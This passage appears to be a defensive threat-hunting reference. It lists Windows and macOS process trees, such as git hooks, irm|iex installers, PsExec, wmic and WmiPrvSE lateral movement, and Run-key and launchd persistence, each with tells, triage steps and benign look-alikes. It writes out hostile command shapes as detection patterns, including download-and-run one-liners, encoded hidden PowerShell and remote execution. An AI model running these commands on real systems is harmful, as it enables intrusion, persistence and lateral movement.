  • Check outbound SMB/WebDAV to that host.
T1140 · T1105
suspicious defense evasion windows

explorer.exe /root proxy launch

<parent: cmd.exe / wscript.exe / mshta.exe>
└─ explorer.exe /root,"C:\Users\<user>\AppData\Local\Temp\<random>.exe"
   (new explorer instance)
   └─ <random>.exe

Tells

  • explorer.exe launched by a script host or shell with /root, and an exe path. Breaks the parent chain so the payload looks like a normal user launch.
  • A second explorer.exe with a non-userinit parent.

Next

  • Look at the payload exe: path, signer, prevalence.
  • Walk up to the real launcher.
T1202
suspicious defense evasion windows

forfiles / pcalua indirect command execution

<parent: cmd.exe / wscript.exe / scheduled task>
└─ forfiles.exe /p C:\Windows\System32 /m notepad.exe /c "cmd /c <command>"
   └─ cmd.exe /c <command>
--- or ---
└─ pcalua.exe -a C:\Users\<user>\AppData\Local\Temp\<random>.exe
   └─ <random>.exe

Tells

  • Both exist to break the parent-child chain so detections keyed on cmd/powershell parents miss it.
  • forfiles matching a single known file (/m notepad.exe) just to run /c = not a real file sweep.
  • pcalua -a (Program Compatibility Assistant) running something from a user path.

Next

  • Look at what ran under it, judged as if the grandparent spawned it directly.
  • Walk up to the original delivery.
T1202
suspicious lolbin windows

ftp -s script execution

<parent: cmd.exe / wscript.exe>
└─ ftp.exe -i -s:C:\Users\<user>\AppData\Local\Temp\<random>.txt
   └─ cmd.exe /c <command>   (from "!" lines in the script)
   └─ (network) <ip>:21

Tells

  • -s: runs a script of FTP commands; !<command> lines run local commands, so ftp becomes a parent of cmd.
  • Windows ftp.exe talking to an external IP from a script host is almost never business use.

Next

  • Read the script file contents if captured.
  • Check outbound FTP sessions and what was downloaded or uploaded.
T1202 · T1105
suspicious execution windows

git hook executing a payload

<terminal / IDE>
└─ git.exe commit / checkout / pull
   └─ sh.exe .git/hooks/post-checkout   (Git for Windows)
      └─ curl.exe -s http://<ip>/<path> | sh
      └─ powershell.exe -enc <base64>

Tells

  • Hooks (pre-commit, post-checkout, post-merge) are normal in projects using tools like husky or pre-commit; they run linters and tests.
  • Look at what the hook runs: local linters = fine; downloads, encoded commands, credential file reads = malicious repo or tampered hook.
  • Recently cloned repos from unknown sources (fake job interview “take-home test” repos are a known lure).

Next

  • Read the hook file and the repo’s origin URL.
  • Check what the child downloaded or ran; treat developer secrets as exposed if it did.
T1059.004 · T1059.001 · T1195.002
suspicious execution windows

irm <url> | iex official-installer one-liner

<terminal / explorer.exe (Run dialog)>
└─ powershell.exe -c "irm https://<domain>/install.ps1 | iex"
   └─ (downloads) <tool>.zip → %USERPROFILE%\<tool>\ ; PATH updated

Tells

  • Some real tools ship exactly this way (scoop, some CLI installers), so the shape alone is not a verdict. The domain is.
  • Legit: the vendor’s documented domain, a developer typing in a terminal, files land in a named tool folder.
  • Malicious: launched from the Run dialog (ClickFix), -w hidden, fresh or lookalike domain, raw IP, or the script drops an exe in Temp and runs it.

Next

  • Check the domain age and whether it matches the tool’s official install docs.
  • Check the parent: explorer.exe with RunMRU evidence = ClickFix tree.
  • See what the script wrote and executed.
T1059.001 · T1105
suspicious execution windows

java -jar from Downloads or Temp

explorer.exe   (user double-clicks <name>.jar)
└─ javaw.exe -jar C:\Users\<user>\Downloads\<name>.jar
   └─ cmd.exe /c <command> / powershell.exe ...
   └─ (network) <ip>:<port>

Tells

  • JAR RATs (STRRAT, Adwind style) and “game mod”/“cracked tool” lures arrive as .jar in Downloads or mail.
  • javaw.exe (no console) launching shells, adding Run keys or holding a long outbound connection.
  • Legit Java apps run from Program Files or a project folder, from a dev’s IDE or a launcher.

Next

  • Get the JAR origin and hash; check prevalence.
  • Check persistence (Run keys or tasks pointing at javaw -jar).
T1204.002 · T1059
suspicious persistence macos

launchd plist persistence

<installer / script / dropped binary>
└─ (file write) ~/Library/LaunchAgents/com.<apple-like>.<random>.plist
└─ launchctl load -w ~/Library/LaunchAgents/com.<apple-like>.<random>.plist
--- next login ---
launchd
└─ ~/Library/Application Support/<random>/<binary>  (or /Users/Shared/<random>, /tmp)

Tells

  • New plist with RunAtLoad/KeepAlive pointing at a binary in /tmp, /Users/Shared, a hidden folder, or a script interpreter (bash, python, osascript) with arguments.
  • Names imitating Apple or Google (com.apple.<random>) written by a non-installer process.
  • Legit agents point at signed apps in /Applications or vendor folders.

Next

  • Read the plist (ProgramArguments) and check the target’s signature (codesign -dv).
  • Find what wrote the plist and when.
T1543.001 · T1543.004
suspicious execution windows

node.exe spawning PowerShell IEX

node.exe <app>\index.js
└─ powershell.exe -c "iex (irm http://<ip>/<path>)"
   └─ <child of the downloaded script>

Tells

  • iex/Invoke-Expression with irm/iwr/Net.WebClient = download and run in memory.
  • Node.js apps (dev tools, Electron apps, npm install scripts) are a supply-chain path: a malicious package’s postinstall runs exactly like this.
  • Legit Node tooling spawning PowerShell usually runs a local script path, not a URL.

Next

  • Find which .js file, or which npm package’s install script, made the call (the parent command line and working directory).
  • Fetch the URL’s content from the telemetry, never live from the host, and check what it ran.
  • Benign-check: is this a known dev tool (VS Code extension host, a build script) on a developer machine?
T1059.001 · T1059.007 · T1105
suspicious defense evasion windows

PresentationHost running an XBAP

<parent: explorer.exe / browser / cmd.exe>
└─ PresentationHost.exe C:\Users\<user>\AppData\Local\Temp\<random>.xbap
   └─ cmd.exe / powershell.exe / (network) <ip>

Tells

  • XBAP (.NET browser apps) is effectively dead. A signed Microsoft binary running one from a user path is proxy execution.
  • Any child shell or outbound connection from PresentationHost is a tell.

Next

  • Pull the .xbap and its manifest; check where it came from.
  • Look at the child process and network events.
T1218
suspicious lateral movement windows

PsExec: services.exe → PSEXESVC.exe → cmd.exe

source:  PsExec64.exe \\<ip> -u <domain>\<user> -p <password> cmd
target:
services.exe
└─ C:\Windows\PSEXESVC.exe
   └─ cmd.exe            (pipes \PSEXESVC-<SOURCEHOST>-<n>-stdin|stdout|stderr)

Tells

  • PSEXESVC.exe created in C:\Windows by System and installed as a service (7045).
  • Key file / pipe names carry the source hostname.
  • Password on the source command line; run against several hosts in a short window.

Next

  • Confirm it is not a sanctioned admin: who, from where, in a change window?
  • Read the source hostname from the pipe/key names and investigate that host.
  • Check what ran under PSEXESVC on each target.
T1021.002 · T1569.002 seen in dumpster, packetdetective, psexechunt, stolen-time-hiddentear, tracer
suspicious defense evasion windows

python.exe running from AppData or Temp

<parent: wscript.exe / explorer.exe (Run key) / scheduled task>
└─ C:\Users\<user>\AppData\Local\Temp\<random>\python.exe <random>.py
--- or ---
└─ C:\Users\Public\<folder>\pythonw.exe C:\Users\Public\<folder>\<random>.pyc

Tells

  • A Python runtime unpacked into Temp, Public or AppData\Roaming\<random> (portable/embeddable zip). Real installs live in Program Files, AppData\Local\Programs\Python or conda paths.
  • pythonw.exe (no window) launched from a Run key or task, with .pyc or oddly named scripts.
  • Python-based stealers and RATs ship exactly this way.

Next

  • Check how the folder got there (archive, script, MSI) and what the script does (network, file reads).
  • Look for persistence pointing at that python path.
T1059.006 · T1036.005
suspicious persistence windows

reg add Run key persistence

<parent: cmd.exe / powershell.exe / <random>.exe>
└─ reg.exe add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "<name>" /t REG_SZ /d "C:\Users\<user>\AppData\Roaming\<random>.exe" /f
--- next logon ---
explorer.exe
└─ <random>.exe

Tells

  • Value data pointing at user paths, script hosts, mshta/rundll32 with odd arguments, or encoded PowerShell.
  • reg.exe invoked by a script or freshly dropped exe, not by an installer.
  • Legit apps (Teams, OneDrive, Spotify) also write Run keys, but from their own installer with a Program Files or signed AppData\Local\<vendor> path.

Next

  • Read the value data and hash the target.
  • Check signer and prevalence of the target binary.
  • Find what created the key.
T1547.001
suspicious persistence windows

Scheduled task (svchost Schedule) → script host

svchost.exe -k netsvcs -p -s Schedule
└─ wscript.exe C:\Users\<user>\AppData\Roaming\<random>\<random>.js
└─ powershell.exe -w hidden -enc <base64>
└─ C:\ProgramData\<random>\<random>.exe

Tells

  • Task-launched children with user-path scripts, encoded PowerShell, or exes in ProgramData/AppData.
  • Task name impersonating Windows or an updater; created recently by a non-installer process.

Next

  • Find the task (XML under C:\Windows\System32\Tasks) and who created it (event 4698).
  • Remove persistence only after scoping what the payload does.
T1053.005 · T1059.001 · T1059.005
suspicious execution windows

wmic process call create (local or remote)

<parent: cmd.exe / powershell.exe>
└─ wmic.exe /node:<ip> /user:<user> process call create "cmd.exe /c <command>"
      (on target host)
      WmiPrvSE.exe
      └─ cmd.exe /c <command>

Tells

  • process call create spawns a process via WMI; with /node: it is remote execution (lateral movement).
  • On the target, the child’s parent is WmiPrvSE.exe, not the user’s shell.
  • Admins rarely use wmic interactively now (deprecated); combined with /node: and shell commands it is attacker tradecraft.

Next

  • On the source host: who ran it and which targets (/node:) were hit?
  • On each target: what did WmiPrvSE.exe spawn and did it drop files?
  • Check logons for that account (type 3) across the targets.
T1047 · T1059.003
suspicious lateral movement windows

WmiPrvSE → PowerShell (remote WMI execution)

svchost.exe -k DcomLaunch
└─ WmiPrvSE.exe -secured -Embedding
   └─ powershell.exe -nop -w hidden -enc <base64>
   └─ cmd.exe /Q /c <command> 1> \\127.0.0.1\ADMIN$\__<timestamp> 2>&1   (wmiexec style)

Tells

  • WmiPrvSE children are WMI-launched processes, often remote. cmd.exe /Q /c ... \\127.0.0.1\ADMIN$\__<number> is Impacket wmiexec.
  • Encoded/hidden PowerShell under WmiPrvSE is attacker-style; config management (SCCM, monitoring) usually runs signed agents or known scripts.
  • Look for a type 3 network logon from another internal host just before.

Next

  • Find the source host and account (logon events around the process start).
  • Check that account’s activity on other hosts.
  • Confirm or rule out known management tools in the estate.
T1047 · T1059.001 · T1021.006
suspicious lateral movement windows

wsmprovhost.exe running attacker PowerShell (Enter-PSSession / WinRM)

svchost.exe -k DcomLaunch
└─ wsmprovhost.exe -Embedding
   ├─ (in-process) Invoke-ShareFinder / Get-ADComputer ... (4104)
   └─ <tool>.exe

Tells

  • Remoting session from a host that is not an admin jump box.
  • Recon cmdlets (Invoke-ShareFinder, PowerView) in 4104 under wsmprovhost.
  • Account that just logged in over RDP to a DC with harvested credentials.

Next

  • Get the source host from WinRM operational logs / 4624 type 3.
  • Pull the 4104 script blocks for the whole session.
  • Check the account for other interactive sessions in the window.
T1021.006 · T1059.001 · T1135 seen in markshell-ta577
benign benign noise windows

choco / winget / scoop installs

<admin terminal / RMM agent>
└─ choco.exe install <pkg> -y
   └─ powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "& '<choco>\lib\<pkg>\tools\chocolateyInstall.ps1'"
      └─ <vendor installer>.exe /S
winget.exe install <Publisher.App>
└─ <vendor installer>.exe /silent   (from %TEMP%\WinGet\<pkg>\)

Tells

  • Package manager parent, installer pulled from the vendor or the package source, signed vendor binaries.
  • -ExecutionPolicy Bypass on chocolateyInstall.ps1 is normal for choco.
  • Same packages across many hosts = IT rollout.

Next

  • Confirm the package name and the installer signer.
  • If a “package” installer drops unsigned binaries to AppData and adds a Run key, treat it as the fake installer tree.
T1072
benign benign noise windows

CompatTelRunner running appraiser and inventory tasks

svchost.exe -k netsvcs -p -s Schedule
└─ C:\Windows\system32\compattelrunner.exe -m:appraiser.dll -f:DoScheduledTelemetryRun
   ├─ conhost.exe
   └─ compattelrunner.exe -m:<module>.dll -f:<function> ...

Tells

  • Looks bad: SYSTEM process doing broad inventory of files and installed software.
  • Normal telemetry/upgrade-readiness task.

Next

  • Benign-check: System32 path, Microsoft signer, scheduled task parent.
  • Escalate only if launched by a user process or from another path.
T1082
benign benign noise windows

Defender MpCmdRun maintenance and signature updates

svchost.exe -k netsvcs -p -s Schedule
└─ "C:\ProgramData\Microsoft\Windows Defender\Platform\<ver>\MpCmdRun.exe" -IdleTask -TaskName WdCacheMaintenance
MsMpEng.exe
└─ MpCmdRun.exe SignaturesUpdateService -ScheduleJob -UnmanagedUpdate
svchost.exe
└─ MpCmdRun.exe Scan -ScheduleJob -ScanTrigger 55

Tells

  • Looks bad: Defender tooling running on its own at odd hours.
  • Normal tasks: cache maintenance, signature updates, scheduled scans.

Next

  • Benign-check: path under the Defender Platform folder, signer, known task names.
  • Escalate on -RemoveDefinitions -All, -DisableService-like arguments, or a non-Defender parent.
T1562.001
benign benign noise windows

GoogleUpdate / MicrosoftEdgeUpdate running installers from Program Files

svchost.exe -k netsvcs -p -s Schedule
└─ "C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /ua /installsource scheduler
   └─ "C:\Program Files (x86)\Google\Update\Install\{<guid>}\<version>_chrome_installer.exe" --system-level ...
svchost.exe -k netsvcs -p -s Schedule
└─ "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /ua /installsource scheduler

Tells

  • Looks bad: scheduled task spawning an EXE from a GUID folder.
  • Normal when signed by Google/Microsoft and running from Program Files (x86).

Next

  • Benign-check: signer, path, and parent is the Schedule service.
  • Escalate if GoogleUpdate.exe runs from a user profile or Downloads, or under a normal user it should not (see the masquerade tree).
T1036.005
benign benign noise macos

Homebrew install on macOS

Terminal / iTerm2
└─ zsh
   └─ /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
   └─ brew install <formula>
      └─ curl ... ghcr.io / formulae.brew.sh
      └─ git, tar, ruby (brew's portable ruby) under /opt/homebrew or /usr/local

Tells

  • Interactive Terminal session, official Homebrew URLs, files in /opt/homebrew (Apple silicon) or /usr/local.
  • Bottles come from ghcr.io; brew runs its own ruby, git and tar a lot. That is normal.
  • Watch for lookalike “Homebrew” sites from search ads that change the URL to an attacker domain.

Next

  • Confirm the URL is the official one.
  • If osascript prompts for a password or a binary in /tmp runs right after, use the macOS stealer trees.
T1059.004
benign benign noise windows

Install-Module from the PowerShell Gallery

<admin terminal>
└─ powershell.exe / pwsh.exe
   └─ (in session) Install-Module <Module> -Scope CurrentUser
      (network) → www.powershellgallery.com / psg-prod-*.azureedge.net
      (file writes) Documents\PowerShell\Modules\<Module>\<ver>\

Tells

  • Interactive admin or dev, a named module (Az, Microsoft.Graph, PSWindowsUpdate), gallery domains only.
  • Files land under the user or system Modules folder, signed module files.
  • Contrast: iex (iwr <url>) pulls arbitrary code from anywhere with no module packaging.

Next

  • Confirm the module name is well known and spelled correctly.
  • If the module then spawns downloads or reaches non-gallery domains, investigate the module.
T1059.001
benign benign noise windows

Jupyter kernels and conda activity

<terminal / Anaconda Navigator>
└─ jupyter-lab.exe / python.exe -m jupyter lab
   └─ python.exe -m ipykernel_launcher -f <runtime>\kernel-<id>.json
      └─ (notebook cells) cmd.exe /c pip install <package> / git clone ...
conda.exe install <package>
└─ python.exe ...\conda\... ; post-link .bat scripts in <env>\Scripts

Tells

  • ipykernel_launcher with a kernel-<id>.json is the standard Jupyter kernel; children are whatever the analyst runs in cells.
  • Conda runs post-link .bat/.sh scripts from inside the env; network goes to anaconda/conda-forge mirrors.
  • Data science users, localhost listeners on 8888, conda paths under anaconda3/miniconda3.

Next

  • Confirm the user is a data/dev user and the notebook server listens on localhost only.
  • If a kernel spawns encoded PowerShell or reaches odd IPs, judge it as the python -c tree.
T1059.006
benign benign noise windows

msiexec from software deployment

<deployment agent: ccmexec.exe / IntuneManagementExtension.exe / <RMM agent>.exe / explorer.exe (user double-click)>
└─ msiexec.exe /i "C:\Windows\ccmcache\<id>\<product>.msi" /qn
   └─ MsiExec.exe -Embedding <guid>
      └─ <vendor installer helper, signed>

Tells

  • Local MSI in a deployment cache path, launched by the org’s management agent.
  • Signed product, same install seen across many hosts in a short window (a rollout).
  • Custom-action children are signed vendor binaries, not shells with URLs or encoded blobs.

Next

  • Confirm the parent agent is the org’s known tool and the MSI is signed and prevalent.
  • If it was user-initiated, check where the MSI came from (browser download, Zone.Identifier).
T1218.007
benign benign noise windows

msiexec repair or install running custom actions

services.exe
└─ msiexec.exe /V
   └─ MsiExec.exe -Embedding <hex> E Global
      ├─ cmd.exe /c <vendor script>
      └─ rundll32.exe C:\Windows\Installer\MSI<hex>.tmp,zzzzInvokeManagedCustomActionOutOfProc SfxCA_<n> ...

Tells

  • Looks bad: msiexec children running rundll32 on a .tmp from C:\Windows\Installer.
  • Normal for managed custom actions during installs, repairs and patching.

Next

  • Benign-check: the product being installed (Application log 1033/11707), software deployment schedule, signer of the MSI.
  • Escalate if the MSI came from a user download or a remote/WebDAV path, or custom actions reach the internet.
T1218.007
benign benign noise windows

npm install building native modules

<terminal / IDE>
└─ npm.cmd install
   └─ cmd.exe /d /s /c node-gyp rebuild   (or prebuild-install || node-gyp rebuild)
      └─ node.exe ...\node-gyp\bin\node-gyp.js rebuild
         └─ python.exe ...\gyp_main.py ...
         └─ MSBuild.exe <pkg>\build\binding.sln /p:Configuration=Release
            └─ CL.exe / link.exe   (Visual Studio Build Tools)

Tells

  • Children are build tools (python running gyp, MSBuild on binding.sln, cl.exe, link.exe) working inside node_modules\<pkg>\build.
  • Network, if any, goes to the npm registry, GitHub releases or nodejs.org to fetch headers or prebuilt binaries.
  • Developer machine, signed Microsoft/Node binaries, same pattern on many dev hosts.

Next

  • Confirm the working directory is inside node_modules and the package is a known native module (bcrypt, sqlite3, sharp etc).
  • If a build step also spawns powershell with a URL or writes an exe to Temp, switch to the postinstall tree.
T1059.003
benign benign noise windows

npx running a known CLI

<terminal / IDE>
└─ npx.cmd <known-cli> <args>          (create-react-app, prisma, tsc, eslint)
   └─ node.exe ...\npm-cache\_npx\<hash>\node_modules\<known-cli>\bin\<cli>.js <args>
      └─ git.exe init / node.exe <project>\... (local work)

Tells

  • npx downloads into npm-cache\_npx\<hash> and runs the package bin; that cache path is normal.
  • Known package names, developer user, local children (git, node, build tools).
  • Watch for typos in the package name (npx crate-react-app) and for children that reach odd domains.

Next

  • Confirm the package name is spelled correctly and widely used.
  • If the child goes to the network for anything other than the registry, treat it as the postinstall tree.
T1059.007
benign benign noise windows

OneDrive standalone updater and FileCoAuth from AppData

svchost.exe -k netsvcs -p -s Schedule
└─ C:\Users\<user>\AppData\Local\Microsoft\OneDrive\OneDriveStandaloneUpdater.exe /reporting
explorer.exe
└─ C:\Users\<user>\AppData\Local\Microsoft\OneDrive\OneDrive.exe /background
   └─ FileCoAuth.exe -Embedding

Tells

  • Looks bad: per-user EXEs from AppData on a schedule.
  • OneDrive is a per-user install by design.

Next

  • Benign-check: Microsoft signature, path under AppData\Local\Microsoft\OneDrive.
  • Escalate if a OneDrive.exe loads an unsigned DLL from its folder (known side-loading target) or runs from elsewhere.
T1036
benign benign noise windows

pip building a wheel with compilers

<terminal / IDE>
└─ python.exe -m pip install <package>
   └─ python.exe ...\site-packages\pip\_vendor\pyproject_hooks\_in_process\_in_process.py build_wheel <tmp>
      └─ cmake.exe ... / ninja.exe
      └─ cl.exe / link.exe   (or gcc / g++ on Linux)

Tells

  • Compilers, cmake, ninja and linkers working inside a pip-* temp build folder.
  • Network goes to PyPI (files.pythonhosted.org), the org’s package mirror, or GitHub for sources.
  • Dev or data science user, signed toolchain, common package names.

Next

  • Confirm the package and that children stay in the build folder.
  • Any shell with a URL or encoded command switches this to the setup.py tree.
T1059.006
benign benign noise windows

rundll32 everyday Windows noise

explorer.exe / control.exe / svchost.exe
└─ rundll32.exe shell32.dll,Control_RunDLL <applet>.cpl
└─ rundll32.exe C:\Windows\system32\<signed>.dll,<documented export>
└─ rundll32.exe "C:\Program Files\<vendor>\<vendor>.dll",<export>

Tells

  • Signed DLL in System32, SysWOW64 or Program Files, launched by explorer, control.exe, svchost or an installed app.
  • Common legit exports: Control_RunDLL, PrintUIEntry, ImageView_Fullscreen, LockWorkStation, ProcessIdleTasks.
  • No child shells, no outbound connection to raw IPs.

Next

  • Confirm the DLL signer and that it is widely seen across the fleet.
  • If prevalence is low or the signer is missing, treat it as the user-path DLL tree instead.
T1218.011
benign benign noise windows

SCCM/MECM CcmExec running PowerShell with Bypass

services.exe
└─ CcmExec.exe
   └─ powershell.exe -NoLogo -NonInteractive -ExecutionPolicy Bypass -File "C:\Windows\CCM\ScriptStore\<hash>.ps1"
      (also: C:\Windows\CCM\SystemTemp\<guid>.ps1, compliance baselines, app detection scripts)

Tells

  • Looks bad: SYSTEM PowerShell with -ExecutionPolicy Bypass.
  • It is normal when the parent is CcmExec.exe from C:\Windows\CCM\ and the script lives in ScriptStore/SystemTemp.

Next

  • Benign-check: signed CcmExec.exe, script path under C:\Windows\CCM, same script hash on many hosts.
  • Escalate only if the script content downloads from the internet or the CCM path is spoofed.
T1059.001
benign benign noise windows

Scheduled task noise (updaters, maintenance)

svchost.exe -k netsvcs -p -s Schedule
└─ "C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /ua /installsource scheduler
└─ "C:\Program Files\Microsoft OneDrive\OneDriveStandaloneUpdater.exe"
└─ C:\Windows\System32\<signed maintenance tool>.exe
└─ powershell.exe -NonInteractive -File "C:\Program Files\<vendor>\<script>.ps1"

Tells

  • Signed vendor or Microsoft binaries in Program Files / System32, seen on many hosts.
  • PowerShell running a -File from Program Files or a management folder, not -enc or a URL.
  • Note: per-user installs (OneDrive, Teams, Zoom) legitimately live in AppData\Local\<vendor> and are signed.

Next

  • Confirm signer and prevalence; check the task was created by an installer.
T1053.005
benign benign noise windows

Teams / Squirrel Update.exe running EXEs out of AppData

explorer.exe
└─ C:\Users\<user>\AppData\Local\Microsoft\Teams\Update.exe --processStart "Teams.exe" --process-start-args "--profile=AAD"
   └─ C:\Users\<user>\AppData\Local\Microsoft\Teams\current\Teams.exe

Tells

  • Looks bad: unsigned-looking Update.exe in AppData launching another EXE.
  • Squirrel installers (classic Teams, Slack, Discord, GitHub Desktop) all work this way.

Next

  • Benign-check: signer is Microsoft/vendor, path matches the product, --processStart names the product EXE.
  • Escalate if Update.exe lives in an unrelated folder or launches a script host or shell.
T1036
benign benign noise windows

VS Code spawning node, git and PowerShell

Code.exe
├─ Code.exe --type=utility --utility-sub-type=node.mojom.NodeService ...   (extension host)
│  └─ <extension>.exe / node.exe <extension script>
├─ git.exe ...
└─ powershell.exe -NoLogo -NoProfile ...  (integrated terminal, shell integration script)

Tells

  • Looks bad: an Electron app spawning PowerShell and node.
  • Normal on developer machines: terminals, language servers, git.

Next

  • Benign-check: visible terminal session, local script paths, no URL in the command line, dev machine.
  • Escalate on hidden PowerShell with IEX/downloadstring, or cmd.exe with a raw socket (see the VS Code malicious tree).
T1059.001 · T1059.007
benign benign noise windows

Windows Update servicing: TiWorker and TrustedInstaller

services.exe
└─ C:\Windows\servicing\TrustedInstaller.exe
svchost.exe -k DcomLaunch
└─ C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_<ver>\TiWorker.exe -Embedding
   ├─ poqexec.exe /display_progress \SystemRoot\WinSxS\pending.xml
   └─ mscorsvw.exe / ngen.exe ...

Tells

  • Looks bad: high CPU, executables running out of a long WinSxS path.
  • Normal during patching and component store cleanup.

Next

  • Benign-check: signed, WinSxS path, CBS.log activity at the same time.
  • Escalate on a TrustedInstaller.exe/TiWorker.exe outside those folders (masquerade).
T1036